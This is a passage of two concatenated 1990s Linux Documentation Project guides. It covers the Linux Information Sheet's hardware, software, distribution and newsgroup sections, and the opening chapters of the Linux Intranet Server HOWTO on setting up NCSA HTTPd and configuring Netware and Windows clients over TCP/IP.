The amount of hard disk you need depends on what software you want to install. The normal basic set of Unix utilities, shells, and administrative programs should be comfortable in less than 10 MB, with a bit of room to spare for user files. For a more complete system, get Red Hat, Debian, or another distribution, and assume that you will need 60 to 600 MB, depending on what you choose to install and what distribution you get. Add whatever space you want to reserve for user files to these totals. With today's prices on hard drives, if you are buying a new system, it makes no sense to buy a drive that is too small. Get at least 2 GB, preferably 4 GB or more, and you will not regret it. Linux will happily handle very large hard drive such as the recently popular 11 GB IDE hard drives or 18 GB SCSI hard drives.

Add more memory, more hard disk, a faster processor and other stuff depending on your needs, wishes and budget to go beyond the merely usable. In general, one big difference from DOS is that with Linux, adding memory makes a large difference, whereas with DOS, extra memory doesn't make that much difference. This of course has something to do with DOS's 640KB limit, which is completely nonexistent under Linux.

3.3 Supported hardware

CPU:

Anything that runs 386 protected mode programs. All models of 386s 486s, Pentiums, Pentium Pros, Pentium IIs, and clones of these chips should work. (286s and below may someday be supported on a smaller kernel called ELKS (Embeddable Linux Kernel Subset), but don't expect the same capabilities). A version for the 680x0 CPU (for x = 2 with external MMU, 3, 4, and 6) which runs on Amigas and Ataris can be found at tsx-11.mit.edu in the 680x0 directory. Many DEC Alphas, SPARCs, and PowerPC machines are supported. Ports are also being done to the ARM, StrongARM, and MIPS architectures. More details are available elsewhere.

Architecture:

PCI, ISA, EISA, and VLB busses. MCA (mostly true blue PS/2s) support is incomplete but improving (see above). Linux puts higher demands on hardware than DOS, Windows, and in fact most operating systems. This means that some marginal hardware that doesn't fail when running less demanding operating system may fail when running Linux. Linux is an excellent memory tester...

RAM:

Up to 1 GB on Intel; more on 64-bit platforms. Some people (including Linus) have noted that adding ram without adding more cache at the same time has slowed down their machine extremely, so if you add memory and find your machine slower, try adding more cache. Some machines can only cache certain amounts of memory regardless of how much RAM is installed (64 MB is the most one popular chipset can cache). Over 64 MB of memory will require a boot-time parameter with kernels 2.0.35 and earlier, as the BIOS was originally designed to be unable to report more than 64MB. Recent 2.1.x kernels and later are able to detect more memory in a system.

Data storage:

Generic AT drives (EIDE, IDE, 16 bit HD controllers with MFM or RLL, or ESDI) are supported, as are SCSI hard disks and CD-ROMs, with a supported SCSI adaptor. Generic XT controllers (8 bit controllers with MFM or RLL) are also supported. Supported SCSI adaptors: Advansys, Adaptec 1542, 1522, 1740, 27xx, and 29xx (with some exceptions) series, Buslogic MultiMaster and Flashpoint, NCR53c8xx-based controllers, DPT controllers, Qlogic ISP and FAS controllers, Seagate ST-01 and ST-02, Future Domain TMC-88x series (or any board based on the TMC950 chip) and TMC1660/1680, Ultrastor 14F, 24F and 34F, Western Digital wd7000, and others. SCSI, QIC-02, and some QIC-80 tapes are also supported. Besides IDE and SCSU cdroms, several proprietary CD-ROM devices are also supported, including Matsushita/Panasonic, Mitsumi, Sony, Soundblaster, Toshiba, ATAPI (EIDE), SCSI, and others. For exact models, check the hardware compatibility HOWTO. N.B. These lists are incomplete, and always will be. Distribution vendors maintain more up-to-date lists.

Video:

VGA, EGA, CGA, or Hercules (and compatibles) work in text mode. For graphics and X, there is support for (at least) normal VGA, some super-VGA cards (most of the cards based on Tseng, Paradise, and some Trident chipsets), S3, 8514/A, ATI, Matrox, and Hercules. (Linux uses the XFree86 X server, so that determines what cards are supported. A full list of supported chipsets alone takes over a page. See http://www.XFree86.org/)

Networking:

Ethernet support includes 3COM 503/509/579/589/595/905 (501/505/507 are supported but not recomended), AT&T GIS (neé NCR) WaveLAN, most WD8390-based cards, most WD80x3-based cards, NE1000/2000 and most clones, AC3200, Apricot 82596, AT1700, ATP, DE425/434/435/500, D-Link DE-600/620, DEPCA, DE100/101, DE200/201/202 Turbo, DE210, DE422, Cabletron E2100 (not recommended), Intel EtherExpress (not recommended), EtherExpress Pro, EtherExpress 100, DEC EtherWORKS 3, HP LAN, HP PCLAN/plus, most AMD LANCE-based cards, NI5210, ni6510, SMC Ultra, DEC 21040 (tulip), Zenith Z-Note ethernet, All Zircom cards and all Cabletron cards other than the E2100 are unsupported, due to the manufacturers unwillingness to release programming information freely.

FDDI support currently includes the DEFxx cards from DEC.

Point-to-Point networking support include PPP, SLIP, CSLIP, and PLIP. PPP support is available for both standard asyncronous devices like modems, and syncronous connections like ISDN.

Limited Token Ring support is available.

Serial:

Most 16450 and 16550 UART-based boards, including AST Fourport, the Usenet Serial Card II, and others. Intelligent boards supported include Cyclades Cyclom series (supported by the manufacturer), Comtrol Rocketport series (supported by the manufacturer), Stallion (most boards; supported by the manufacturer), and Digi (some boards; supported by the manufacturer). Some ISDN, frame relay, and leased line hardware is supported.

Other hardware:

SoundBlaster, ProAudio Spectrum 16, Gravis Ultrasound, most other sound cards, most (all?) flavours of bus mice (Microsoft, Logitech, PS/2), etc.


Linux Information Sheet: An Incomplete List of Ported Programs and Other Software

 Next Previous Contents

4. An Incomplete List of Ported Programs and Other Software

Most of the common Unix tools and programs have been ported to Linux, including almost all GNU software and many X clients from various sources. Actually, ported is often too strong a word, since many programs compile out of the box without modifications, or only small modifications, because Linux tracks POSIX quite closely. There are never enough applications for any operating system, but Linux is gaining both end-user applications and server applications. Contact the vendor of your favorite commercial Unix application and ask if they have ported it to Linux.

Here is an incomplete list of software that is known to work under Linux:

Basic Unix commands:

ls, tr, sed, awk and so on (you name it, Linux probably has it).

Development tools:

gcc, gdb, make, bison, flex, perl, rcs, cvs, prof.

Languages and Environments:

C, C++, Objective C, Java, Modula-3, Modula-2, Oberon, Ada95, Pascal, Fortran, ML, scheme, Tcl/tk, Perl, Python, Common Lisp, and many others.

Graphical environments:

GNOME and KDE (desktops), X11R6 (XFree86 3.x), X11R5 (XFree86 2.x), MGR.

Editors:

GNU Emacs, XEmacs, MicroEmacs, jove, ez, epoch, elvis (GNU vi), vim, vile, joe, pico, jed, and others.

Shells:

bash (POSIX sh-compatible), zsh (includes ksh compatiblity mode), pdksh, tcsh, csh, rc, es, ash (mostly sh-compatible shell used as /bin/sh by BSD), and many more.

Telecommunication:

PPP, UUCP, SLIP, CSLIP, full TCP/IP communication toolset, kermit, szrz, minicom, pcomm, xcomm, term (runs multiple shells, redirects network activity, and allows remote X, all over one modem line), Seyon (popular X-windows communications program), and several fax and voice-mail (using ZyXEL and other modems) packages are available. Of course, remote serial and network logins are supported.

News and mail:

C-news, innd, trn, nn, tin, smail, elm, mh, exmh, pine, mutt, etc.

Textprocessing:

TeX, groff, doc, ez, LyX, Lout, Linuxdoc-SGML, and others.

Games:

Nethack, several Muds and X games, and lots of others. One of those games is looking through all the games available at tsx-11 and sunsite.

All of these programs (and this isn't even a hundredth of what is available) are freely available. Commercial software is becoming widely available; ask the vendor of your favorite commercial software if they support Linux.


Linux Information Sheet: Who uses Linux?

 Next Previous Contents

5. Who uses Linux?

Linux is freely available, and no one is required to register their copies with any central authority, so it is difficult to know how many people use Linux. Several businesses now survive solely on selling and supporting Linux, and the Linux newsgroups are some of the most heavily read on the internet, so the number is likely in the millions, but firm numbers are hard to come by. The best market research currently indicates between 7.5 and 11 million users.

One brave soul, Harald T. Alvestrand <Harald.T.Alvestrand@uninett.no>, has decided to try to count Linux users the hard way: one by one. If you are willing to be counted as a Linux user, please use the web forms available at http://counter.li.org/ Alternatively, you can send a message to linux-counter@uninett.no with one of the following subjects: `I use Linux at home', `I use Linux at work', or `I use Linux at home and at work'. He will also accept `third-party' registrations; ask him for details.

He posts his counts to news:comp.os.linux.misc each month; they are also available from http://counter.li.org/.


Linux Information Sheet: Getting Linux

 Next Previous Contents

6. Getting Linux

6.1 Anonymous FTP

For freely-redistributable Linux documentation, see the Linux Documentation Project sites at ftp://sunsite.unc.edu/pub/Linux/docs/LDP/ and http://sunsite.unc.edu/LDP/

Stay tuned to the news:comp.os.linux.announce newsgroup for further developments.

At least the following anonymous ftp sites carry Linux.

Textual name                   Numeric address  Linux directory
=============================  ===============  ===============
tsx-11.mit.edu                 18.172.1.2       /pub/linux
sunsite.unc.edu                152.2.22.81      /pub/Linux
ftp.funet.fi                   128.214.248.6    /pub/Linux
net.tamu.edu                   128.194.177.1    /pub/linux
ftp.mcc.ac.uk                  130.88.203.12    /pub/linux
src.doc.ic.ac.uk               146.169.2.1      /packages/linux
fgb1.fgb.mw.tu-muenchen.de     129.187.200.1    /pub/linux
ftp.informatik.tu-muenchen.de  131.159.0.110    /pub/comp/os/linux
ftp.dfv.rwth-aachen.de         137.226.4.111    /pub/linux
ftp.informatik.rwth-aachen.de  137.226.225.3    /pub/Linux
ftp.Germany.EU.net             192.76.144.75    /pub/os/Linux
ftp.lip6.fr                    132.227.77.2     /pub/linux
ftp.uu.net                     137.39.1.9       /systems/unix/linux
wuarchive.wustl.edu            128.252.135.4    mirrors/linux
ftp.win.tue.nl                 131.155.70.100   /pub/linux
ftp.stack.urc.tue.nl           131.155.2.71     /pub/linux
srawgw.sra.co.jp               133.137.4.3      /pub/os/linux
cair.kaist.ac.kr                                /pub/Linux
ftp.denet.dk                   129.142.6.74     /pub/OS/linux
NCTUCCCA.edu.tw                140.111.1.10     /Operating-Systems/Linux
nic.switch.ch                  130.59.1.40      /mirror/linux
sunsite.cnlab-switch.ch        193.5.24.1       /mirror/linux
cnuce_arch.cnr.it              131.114.1.10     /pub/Linux
ftp.monash.edu.au              130.194.11.8     /pub/linux
ftp.dstc.edu.au                130.102.181.31   /pub/linux
ftp.sydutech.usyd.edu.au       129.78.192.2     /pub/linux

tsx-11.mit.edu and fgb1.fgb.mw.tu-muenchen.de are the official sites for Linux's GCC. Some sites mirror other sites. Please use the site closest (network-wise) to you whenever possible.

At least sunsite.unc.edu and ftp.informatik.tu-muenchen.de offer ftpmail services. Mail ftpmail@sunsite.unc.edu or ftp@informatik.tu-muenchen.de for help.

If you are lost, try looking at http://sunsite.unc.edu/LDP/HOWTO/Distribution-HOWTO.html, where several distributions are enumerated. Red Hat Linux and Debian appear to be the most popular distributions at the moment, at least in the U.S.

6.2 CDROM

Most people now install Linux from CDROM's. The distributions have grown to hundreds of MBs of Linux software, and downloading that over even a 28.8 modem or an ISDN connection takes a long time.

There are essentially two ways to purchase a Linux distribution on CDROM: as part of an archive of FTP sites, or directly from the manufacturer. If you purchase an archive, you will often get several different distributions to choose from, but support is generally not included. When you purchase a distribution directly from the vendor, you usually only get one distribution, but you usually get some form of support, usually installation support.

6.3 Other methods of obtaining Linux

There are many BBSs that have Linux files. A list of them is occasionally posted to comp.os.linux.announce. Ask friends and user groups, or order one of the commmercial distributions. A list of these is contained in the Linux distribution HOWTO, available as http://sunsite.unc.edu/LDP/HOWTO/Distribution-HOWTO.html, and posted regularily to the news:comp.os.linux.announce newsgroup.


Linux Information Sheet: Legal Status of Linux

 Next Previous Contents

7. Legal Status of Linux

Although Linux is supplied with the complete source code, it is copyrighted software, not public domain. However, it is available for free under the GNU General Public License, sometimes referred to as the ``copyleft''. See the GPL for more information. The programs that run under Linux each have their own copyright, although many of them use the GPL as well. X uses the MIT X copyright, and some utilities are under the BSD copyright. In any case, all of the software on the FTP site is freely distributable (or else it shouldn't be there).


Linux Information Sheet: News About Linux

 Next Previous Contents

8. News About Linux

A monthly magazine, called Linux Journal, was launched over four years ago. It includes articles intended for almost all skill levels, and is intended to be helpful to all Linux users. One-year subscriptions are $22 in the U.S., $27 in Canada and Mexico, and $32 elsewhere, payable in US currency. Subscription inquiries can be sent via email to subs@ssc.com, or faxed to +1-206-782-7191, or phoned to +1-206-782-7733, or mailed to Linux Journal, PO Box 85867, Seattle, WA 98145-1867 USA. SSC has a PGP public key available for encrypting your mail to protect your credit card number; finger info@ssc.com to get the key.

There are several Usenet newsgroups for Linux discussion, and also several mailing lists. See the Linux FAQ for more information about the mailing lists (you should be able to find the FAQ either in the newsgroup or on the FTP sites).

The newsgroup news:comp.os.linux.announce is a moderated newsgroup for announcements about Linux (new programs, bug fixes, etc).

The newsgroup news:comp.os.linux.answers is a moderated newsgroup to which the Linux FAQ, HOWTO documents, and other documentation postings are made.

The newsgroup news:comp.os.linux.admin is an unmoderated newsgroup for discussion of administration of Linux systems.

The newsgroup news:comp.os.linux.development.system is an unmoderated newsgroup specifically for discussion of Linux kernel development. The only application development questions that should be discussed here are those that are intimately associated with the kernel. All other development questions are probably generic Unix development questions and should be directed to a comp.unix group instead, unless they are very Linux-specific applications questions, in which case they should be directed at comp.os.linux.development.apps.

The newsgroup news:comp.os.linux.development.apps is an unmoderated newsgroup specifically for discussion of Linux-related applications development. It is not for discussion of where to get applications for Linux, nor a discussion forum for those who would like to see applications for Linux.

The newsgroup news:comp.os.linux.hardware is for Linux-specific hardware questions.

The newsgroup news:comp.os.linux.networking is for Linux-specific networking development and setup questions.

The newsgroup news:comp.os.linux.x is for Linux-specific X Windows questions.

The newsgroup news:comp.os.linux.misc is the replacement for comp.os.linux, and is meant for any discussion that doesn't belong elsewhere.

In general, do not crosspost between the Linux newsgroups. The only crossposting that is appropriate is an occasional posting between one unmoderated group and news:comp.os.linux.announce. The whole point of splitting the old comp.os.linux group into many groups is to reduce traffic in each group. Those that do not follow this rule will be flamed without mercy...

Linux is on the web at the URL http://sunsite.unc.edu/LDP/


Linux Information Sheet: The Future

 Next Previous Contents

9. The Future

After Linux 1.0 was released, work was done on several enhancements. Linux 1.2 included disk access speedups, TTY improvements, virtual memory enhancements, multiple platform support, quotas, and more. Linux 2.0, the current stable version, has even more enhancements, including many performance improvements, several new networking protocols, one of the fastest TCP/IP implementations in the world, and far, far more. Even higher performance, more networking protocols, and more device drivers will be available in Linux 2.2.

Even with over 3/4 million lines of code in the kernel, there is plenty of code left to write, and even more documentation. Please join the linux-doc@vger.rutgers.edu mailing list if you would like to contribute to the documentation. Send mail to majordomo@vger.rutgers.edu with a single line containing the word ``help'' in the body (NOT the subject) of the message.


Linux Information Sheet: This document

 Next Previous Contents

10. This document

This document is maintained by Michael K. Johnson <johnsonm@redhat.com>. Please mail me with any comments, no matter how small. I can't do a good job of maintaining this document without your help. A more-or-less current copy of this document can always be found at http://sunsite.unc.edu/LDP/


Linux Information Sheet: Legalese

 Next Previous Contents

11. Legalese

Trademarks are owned by their owners. There is no warranty about the information in this document. Use and distribute at your own risk. The content of this document is in the public domain, but please be polite and attribute any quotes.


The Linux Intranet Server HOWTO

Pramod Karnad, karnad@indiamail.com

v2.12, 2001-12-03

This document describes how to setup an Intranet using Linux as the server which binds Unix, Netware, NT and Windows together. Hence by just establishing the connection to the Linux box you are provided transparent access to all the various platforms. Detailed explanations are provided for setting up HTTP using the NCSA server and connect to it using TCP/IP clients from Novell, Microsoft under Windows3.1, WFWG,Win95 and WinNT and MacTCP on the Apple PowerMac.

1. Introduction

  • 1.1 What is required
  • 1.2 New versions of this document
  • 1.3 Feedback

2. Install the HTTP server

  • 2.1 Preparation before downloading
  • 2.2 Compiling HTTPd

3. Testing HTTPd

4. Connecting to the Linux Server

  • 4.1 Setup the Linux server
  • 4.2 Setup the Netware server
  • 4.3 Setup the Netware Client
  • 4.4 Setup Microsoft Client
  • 4.5 Setup TCP/IP on Macintosh

5. Setting up the Intranet

  • 5.1 NCPFS
  • 5.2 SMBFS
  • 5.3 NFS

6. Accessing the Web

  • 6.1 Accessing the mounted filesystems
  • 6.2 Connecting to the Internet
  • 6.3 Other uses

7. More things to do

8. Credits and Legalities

  • 8.1 Thanks
  • 8.2 Copyright and License


The Linux Intranet Server HOWTO: Introduction

 Next Previous Contents

1. Introduction

In simple terms, the Intranet is the descriptive term being used for the implementation of Internet technologies within a corporate organisation, rather than for external connection to the global Internet. This implementation is performed in such a way as to transparently deliver the immense informational resources of an organisation to each individuals desktop with minimal cost, time and effort. This document attempts to explain in simple terms how to setup an Intranet using tools which are readily available and are generally costing little or are free.

This document assumes that you already know how to install TCP/IP on your Linux server and connect it physically to your LAN using an Ethernet network card. This also assumes you have some basic knowledge of Netware, WinNT and Mac systems. The configuration of the Netware server has been shown using version 3.1x as the basis. You can also use INETCFG to achieve the same result. On the client side the discussion is with respect to Windows 3.1x, Windows for Workgroups and Win95, WinNT and the Apple PowerMac.

I am using the private network addresses (RFC-1918) of 172.16.0.0 and 172.17.0.0 only as examples. You may choose suitable addresses depending on your configuration.

       Linux       Netware      WFWG/WinNT
       Server      Server       Server
      172.16.0.1   172.16.0.2   172.16.0.3
         |           |           |    172.16.0.0
   ------+-----+-----+--------+--+--------------
               |              | 172.16.0.254
             W/S 1          Router
           172.16.0.5         | 172.17.0.254
                              |
                    ----------+-------+--------
               172.17.0.0             |
                                    W/S 2
                                  172.17.0.5

1.1 What is required

You will need the following software before attempting the installation.

  • the HTTP server software which can be downloaded from OneStep NCSA HTTPd Downloader at http://hoohoo.ncsa.uiuc.edu/docs/setup/OneStep.html page.
  • The Novell Netware Client available from HTTP://support.novell.com/ (The TCP/IP files are included with the client).
  • The Microsoft TCP/IP client available from HTTP://www.microsoft.com/
  • The Apple MacTCP client available from HTTP://www.apple.com/
  • WWW Browsers like Netscape at HTTP://home.netscape.com/ or MS Internet Explorer at HTTP://www.microsoft.com/ or NCSA Mosaic from http://www.ncsa.uiuc.edu/SDG/Software/Mosaic/NCSAMosaicHome.html

1.2 New versions of this document

New versions of the Linux Intranet Server HOWTO will be periodically posted to comp.os.linux.announce and comp.os.linux.help. They will also be uploaded to various Linux FTP sites, including sunsite.unc.edu.

The Latest version of this document is available in HTML format at http://www.inet.co.th/cyberclub/karnadp/http.html

1.3 Feedback

If you have questions or comments about this document, please feel free to mail Pramod Karnad, at karnad@indiamail.com. Suggestions, criticism and mail are always welcome. If you find a mistake with this document, please let me know so I can correct it in the next version. Thanx.


The Linux Intranet Server HOWTO: Install the HTTP server

 Next Previous Contents

2. Install the HTTP server

When you download the server you have two options: To get the source and compile it yourself, or get the precompiled binaries. The precompiled binaries for Linux (ELF) version are available at NCSA but not the older versions.

2.1 Preparation before downloading

The server at NCSA will guide you through the steps for configuration options and prepare the various files for you. But before you attempt to download HTTPd be prepared with answers to the following questions

The Operating System

First, you must choose whether to download the source or a pre-compiled version of the software. If your particular system doesn't appear in the menu, then you will have to get the default source, and compile it yourself.

To check the version of your Linux go to the command prompt on your Linux machine and type

  linux:~$  uname -a
which will respond with a line which looks similar to this
   linux:~$  uname -a
   Linux linux 2.0.29 #4 Tue Sep 13 04:05:51 CDT 1994 i586
   linux:~$

The version of Linux is 2.0.29.

The remaining parameters can be specified before downloading or configured later by modifying the file srm.conf in the /usr/local/etc/httpd/conf directory. The names of the actual directives that appear in the file httpd.conf are shown in brackets. The only exception is the directive DocumentRoot which appears in the file srm.conf

Process type (ServerType)

This specifies how your machine will run your HTTPd server. The preferred method is "standalone". This makes the HTTP daemon to be running constantly. If you choose to load HTTPd under "inetd", the server binary will be reloaded into memory for every request, which may slow your server down.

Binding Port (Port)

This specifies which port of your machine that the HTTPd daemon will bind to and listen for HTTP requests. If you can login as "root", use the default setting of 80. Otherwise choose a setting between 1025 and 65535.

Server user identity (User)

This is the user id the server will change to when answering requests and acting on files.This question needs to be answered only if you are running the server as "standalone". If you are someone without root permissions, just use your own login name. If you are system administrator, you might want to create a special user so you can control file permissions.

Server group identity (Group)

This is the group id the server will change to when answering requests and acting on files. This is similar to Server User identity and is applicable only if you are running the server as standalone.

If you do not have root permissions, just use the name of your primary group. You can find out your group by typing groups at the Linux command prompt.

Server administrator email address (ServerAdmin)

This is the email address that the user should send an email message to when reporting a problem with the server. You can put your personal e-mail address.

Location of server directory (ServerRoot)

This is where the server resides on your system. If you have root permissions leave it in its recommended location /usr/local/etc/httpd. If you cannot login as root, choose a subdirectory in your home path. You can find out the path of your home directory with the pwd command.

Location of HTML files (DocumentRoot)

This is where the HTML files to be served are located. The default location is /usr/local/etc/httpd/htdocs. You could however set it to be the home directory of the special user you chose in Server user identity, or a subdirectory in your home directory if you can't login as root.

When in doubt, use the default settings. Now that you have answers to the above questions you can Download NCSA HTTPd at http://hoohoo.ncsa.uiuc.edu/docs/setup/OneStep.html. You should read the HTTPd Documentation at http://hoohoo.ncsa.uiuc.edu/docs/ before you attempt installation. If you are planning to compile the code then you need to modify the makefiles in each of the th ree directories support, src, cgi-src. If your version of Linux is already supported then you just have to type make linux at the top level directory (i.e. /usr/local/etc/httpd)

2.2 Compiling HTTPd

Compiling is simple, just type make linux at the prompt in the server root directory. Note: Users of pre-ELF Linux have to uncomment #define NO_PASS in file portability.h and set DBM_LIBS= -ldbm in the Makefile before compiling HTTPd.


The Linux Intranet Server HOWTO: Testing HTTPd

 Next Previous Contents

3. Testing HTTPd

After you have installed HTTPd, login as root and start it by typing httpd & . (assuming you have installed as standalone) You should now be able to see it in the list generated by ps. The simplest way to test HTTPd is by Telnet. At the Linux command prompt type

   linux:~$  telnet 172.16.0.1 80
where 80 is the default port for HTTP. If you have configured "Port" as something different then type that number instead. You should get a response which looks like this
   Trying 172.16.0.1...
   Connected to linux.mydomain.
   Escape character is '^]'.
Now if you type in any character and press Enter you should get a response similar to the one shown below.
   HTTP/1.0 400 Bad Request
   Date: Wed, 10 Jan 1996 10:24:37 GMT
   Server: NCSA/1.5
   Content-type: text/html

   <HEAD><TITLE>400 Bad Request < /TITLE> < /HEAD>
   <BODY><H1>400 Bad Request < /H1>
   Your client sent a query that this server could
   not understand.<P>
   Reason: Invalid or unsupported method.<P>
   < /BODY>

Now we are ready to connect to this server using another PC and a WWW Browser.


The Linux Intranet Server HOWTO: Connecting to the Linux Server

 Next Previous Contents

4. Connecting to the Linux Server

Please refer to the diagram shown in the chapter Introduction for the addressing scheme used. Workstation 1 (W/S1) is on network 172.16.0.0 and can access the Linux server directly whereas Workstation 2 (W/S2) is on network 172.17.0.0 and needs to use the gateway (router) 172.17.0.254 to access the Linux box. This gateway information needs to be provided while configuring the clients only on W/S2. Netware refers to the gateway as 'ip_router'.

I am using W/S2 to illustrate the client setup. To setup W/S1 just change the address 172.17.0.5 to 172.16.0.5 and ignore all references to the gateway/router.

If you do not have a router you can skip the next section and proceed to

  • Setup Netware Server if you use a Netware server.
  • Setup MS Windows Client if you use the Microsoft Client.

4.1 Setup the Linux server

You may skip this section if you do not have a router.

You have to configure the Linux server to recognise the router thus allowing Workstation 2 to connect to the Web server. In order to setup the Linux server you should login as root. At the server prompt type

   route add gw default 172.16.0.254
To use this gateway everytime you boot the Linux server edit the file /etc/rc.d/rc.inet1 and change the line containing the gateway definition to GATEWAY = "172.16.0.254". Make sure the line for adding the gateway is not commented out.

ALT: You can add routes to the networks on the other side of the router. This would be done as

   route add -net 172.17.0.0 gw 172.16.0.254
To add this route everytime you boot Linux add the command to your /etc/rc.d/rc.local file.

4.2 Setup the Netware server

In order to setup the Netware server you should have Supervisor permissions or atleast Console operator permissions. If these cannot be got, try asking your Network Administrator to help you with the setup. At the Server enable the Ethernet_II frame type on the LAN by typing these commands or include them in the AUTOEXEC.ncf file.

   load NE2000 frame=Ethernet_II name=IPNET
   load TCPIP
   bind IP to IPNET addr=172.16.0.2 mask=FF.FF.FF.0

You might have to specify the slot or board number while loading the NE2000 driver depending on your machine configuration. (eg: load NE2000 slot=3 frame=.....)

4.3 Setup the Netware Client

On the PC you have the choice of Win3.1,WFWG or Win95. The installation procedure differs between Win95 and the older windows if you are using the 32bit client from Microsoft or Novell. If you are going to use the 16bit client, the procedure is the same and you can refer to the Windows 3.x installation instructions. For installing the 32bit client for Win95 skip to Windows 95 installation.

Windows 3.x

If you are using Win3.1 or WFWG you can install the Netware Client (VLMs) and some additional files which are provided with the TCP/IP diskette, namely

TCPIP.exe, VTCPIP.386, WINSOCK.dll and WLIBSOCK.dll

Note that the WINSOCK.dll file is different from the ones provided with Win95 and Trumpet. Install the Netware Client with the support for windows. Copy VTCPIP.386, WINSOCK.dll and WLIBSOCK.dll to the SYSTEM directory and TCPIP.exe to the NWCLIENT directory. Now modify the STARTNET.bat in the NWCLIENT directory to

   lsl
   ne2000     ---> your network card driver
   c:\windows\odihlp.exe     ---->if you are using WFWG
   ipxodi
   tcpip        ---> add this line
   nwip         ---> if you use Netware/IP
   vlm

Create a subdirectory (say) \NET\TCP and copy the files HOSTS, NETWORKS, PROTOCOLS and SERVICES from /etc on your Linux server or the directory SYS:ETC on your Netware server. Edit the copied HOSTS file to add the line for your new Linux server. This will enable you to refer to the Linux server as http://linux.mydomain/ instead of http://172.16.0.1/in your WWW browser

   127.0.0.1      localhost
   172.16.0.1      linux.mydomain

Edit the NET.cfg file in NWCLIENT directory

   Link Driver NE2000
       port 300
       int 3
       MEM D0000
       FRAME Ethernet_802.2

; ---- add these lines ----

      FRAME Ethernet_II

   Protocol TCPIP
      PATH TCP_CFG C:\NET\TCP
      ip_address  172.17.0.5
      ip_netmask  255.255.255.0
      ip_router   172.17.0.254     ---> add the address of your gateway only
                                  ---> if you have to use this
                                  ---> gateway to reach your HTTP server

   Link Support
      MemPool 6192       ---> the minimum is 1024. Try with different values
      Buffers 10 1580    ---> this again can be fine tuned

;---------------------------------
; You may need to add lines like these if you are using Netware/IP
;
   NWIP
      NWIP_DOMAIN_NAME  mydomain
      NSQ_BROADCAST   ON
      NWIP1_1 COMPATIBILITY   OFF
      AUTORETRIES     1
      AUTORETRY SECS  10
Edit the SYSTEM.ini file in the WINDOWS directory and add this entry for VTCPIP.386
   [386Enh]
   .....
   network=*vnetbios, vipx.386, vnetware.386, VTCPIP.386
   .....

Reboot your PC, run STARTNET.bat and you can now use your favorite WWW browser to access your Web pages. You need not login to Netware and you don't have to run TCPMAN (if you use Trumpet Winsock).

Windows 95

This section explains how to install the 32bit client on Win95. Firstly you must install the following

   Client for Netware Networks (from Microsoft or Novell)
   Microsoft TCP/IP Protocol
   Network Adapter

To install these items, click on My Computer, Control Panel, Networks. Click Add. You will now be in a window that displays Client, Adapter, Protocol and Service. To install the Client for Netware Networks:

  1. DoubleClick on Client
  2. Click on Microsoft or Novell
  3. DoubleClick on Client for Netware Networks

To install the TCP/IP Protocol:

  1. DoubleClick on Protocol
  2. Click on Microsoft
  3. DoubleClick on TCP/IP

Windows 95 by default installs several other protocols automatically. Remove them by clicking on them and clicking the Remove button. Typically Win95 installs the Microsoft NetBeui protocol, and IPX/SPX compatible protocol. You can delete the NetBEUI protocol, but you will need the IPX/SPX protocol if you wish to login to the Netware Server.

To setup TCP/IP click on TCP/IP, click on Properties, click on the tab IP address

  Enter your IP address in the "Specify an IP address "
                        box as 172.17.0.5
  In the Subnet Mask box enter 255.255.255.0
select the tab Gateway
  Enter your gateway (router) address in the box New gateway
     as 172.17.0.254
  Click the Add button
The gateway address should now appear under the installed gateways box. Now Click OK.

You should get a message to reboot. Do so. You should now be able to use the Browser to connect to your HTTP Server.

4.4 Setup Microsoft Client

If you are using the Microsoft Client for accessing your network, then this section details how to install TCP/IP for

  • Windows for Workgroups (WFWG)
  • Windows 95
  • Windows NT 4.0
Note: To enable you to refer to the Linux server as http://linux.mydomain/ instead of http://172.16.0.1/ in the WWW browser and all your intranet commands you need to edit the hosts file. You can add more entries for each of your other hosts (Netware, Unix, WinNT) as well. The Windows family keeps its HOSTS file in \WINDOWS or in \WINDOWS\SYSTEM depending on the version. Edit this file and add a line for your Linux server as:
   127.0.0.1      localhost
   172.16.0.1     linux.mydomain

   172.16.0.2     netware.mydomain
   172.16.0.3     winNT.mydomain
   172.16.0.5     ws_1

Windows for Workgroups

This section explains how to install the 32bit client on WFWG. Firstly you must download the TCP/IP drivers for Windows from Microsoft. The current version is 3.11b and is available at ftp://ftp.microsoft.com or other sites as tcp32b.exe. Make sure that you have load Win32s before trying to load the TCP/IP-32bit driver.

Having expanded the TCP/IP files into a temporary directory (say C:\TEMP), check your \WINDOWS\SYSTEM directory for copies of OEMSETUP.INF. If there are any, rename them. Now copy the OEMSETUP.INF file from the TEMP directory to the \WINDOWS\SYSTEM directory. If you have loaded any other TCP/IP stacks on your system, please remove them before you proceed.

Start Network Setup or Windows Setup/Change Network settings

    Click the Networks button
    Click Install Microsoft Windows Network.
      Choose support for additional networks (if required)
    Click OK
You should be prompted for your network adapter - select the appropriate one. If you are not prompted, then
     Click the Adapter button
         select an adapter (say NE2000)
         Click OK
     Click the Protocol button
         select the MS TCP/IP-32 protocol
         click OK
You will now be prompted to configure the TCP/IP protocol stack. You can always reconfigure this by highlighting the TCP/IP protocol shown in the box Adapters and clicking the Setup button.
   In the IP address box enter 172.17.0.5
   In the Subnet Mask box enter 255.255.255.0
   Enter your gateway (router) address in the box default gateway
     as 172.17.0.254
Click OK. The computer will ask you to restart. Do so. You should now be able to use the Browser to connect to your HTTP Server.

Windows 95

This section explains how to install the 32bit client for Microsoft on Win95. Firstly you must install the following

   Client for Microsoft Networks
   Microsoft TCP/IP Protocol
   Network Adapter

To install these items, click on My Computer, Control Panel, Networks. Click Add. You will now be in a window that displays Client, Adapter, Protocol and Service. To install the Client for Microsoft Networks:

  1. DoubleClick on Client
  2. Click on Microsoft
  3. DoubleClick on Client for Microsoft Networks

To install the TCP/IP Protocol:

  1. DoubleClick on Protocol
  2. Click on Microsoft
  3. DoubleClick on TCP/IP

Windows 95 by default installs several protocols automatically. Remove them by clicking on them and clicking the Remove button. Typically Win95 installs the Microsoft NetBeui protocol.

To setup TCP/IP click on TCP/IP, click on Properties, click on the tab IP address

  Enter your IP address in the "Specify an IP address "
                        box as 172.17.0.5
  In the Subnet Mask box enter 255.255.255.0
select the tab Gateway
  Enter your gateway (router) address in the box New gateway
     as 172.17.0.254
  Click the Add button
The gateway address should now appear under the installed gateways box. Now Click OK.

You should get a message to reboot. Do so. You should now be able to use the Browser to connect to your HTTP Server.

Windows NT

This section details how to Install the TCP/IP client for WinNT 4.0. Start Control Panel/ Network

    Select the Adapter tab.
        Click Add to add a new adapter (if you don't have one)
You should be prompted for your network adapter - select the appropriate one. To add the protocols.
    Select the Protocols tab
        Click Add
        Select the TCP/IP protocol
        Click OK
